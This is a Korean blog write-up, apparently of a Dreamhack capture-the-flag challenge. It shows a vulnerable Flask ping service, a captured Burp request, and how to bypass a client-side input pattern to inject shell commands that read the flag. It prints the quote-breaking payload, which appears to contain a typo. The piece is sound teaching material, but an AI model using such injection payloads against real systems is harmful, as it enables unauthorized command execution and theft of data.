<form method="POST">
<div class="row">
<div class="col-md-6 form-group">
<label for="Host">Host</label>
<input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" pattern="[A-Za-z0-9.]{5,20}" required>
</div>
</div>
<button type="submit" class="btn btn-default">Ping!</button>
</form>
입력 시 특수문자를 사용할 수 없고, 길이는 5-20으로 제한되어 있다.
#!/usr/bin/env python3
import subprocess
from flask import Flask, request, render_template, redirect
from flag import FLAG
APP = Flask(__name__)
@APP.route('/')
def index():
return render_template('index.html')
@APP.route('/ping', methods=['GET', 'POST'])
def ping():
if request.method == 'POST':
host = request.form.get('host')
cmd = f'ping -c 3 "{host}"'
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('ping_result.html', data=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('ping_result.html', data='Timeout !')
except subprocess.CalledProcessError:
return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')
return render_template('ping.html')
if __name__ == '__main__':
APP.run(host='0.0.0.0', port=8000)
제공된 app.py 코드를 확인해보면 /bin/sh -c cmd로 명령어를 실행하는데, cmd에 사용자값인 host가 들어간다.
특수문자 사용이 불가능하지만, html 상으로 제약사항이므로 먼저 8.8.8.8을 보낸 후, proxy 툴로 잡아서 host 변수 값을 & ls 등으로 바꿔서 command injection이 가능하다.
Burp Suite Open browser에서 8.8.8.8 값을 주고 Ping! 버튼을 눌러 POST 요청을 보낸다.
POST /ping HTTP/1.1
Host: host1.dreamhack.games:24195
Content-Length: 12
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://host1.dreamhack.games:24195
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://host1.dreamhack.games:24195/ping
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
host=8.8.8.8
그럼 이렇게 request가 잡히고, host 값을 변경할 수 있다.
host 값을 & cat flag.py로 변경 후 Forward를 눌러서 요청을 보낸다.
근데 에러가 발생한다. double quote escape이 필요해보인다.
host 값을 8.8.8.8"; cat flag;py; echo "asdf 으로 변경한다.
명령어 실행 결과로 FLAG를 얻을 수 있다.
[Dreamhack] file-download-1 (0) | 2022.11.24 |
---|---|
[Dreamhack] proxy-1 (0) | 2022.01.04 |
[Dreamhack] pathtraversal (0) | 2021.03.08 |
[Dreamhack] simple_sqli (SQL Injection) (0) | 2021.02.09 |
[Dreamhack] cookie (0) | 2021.02.09 |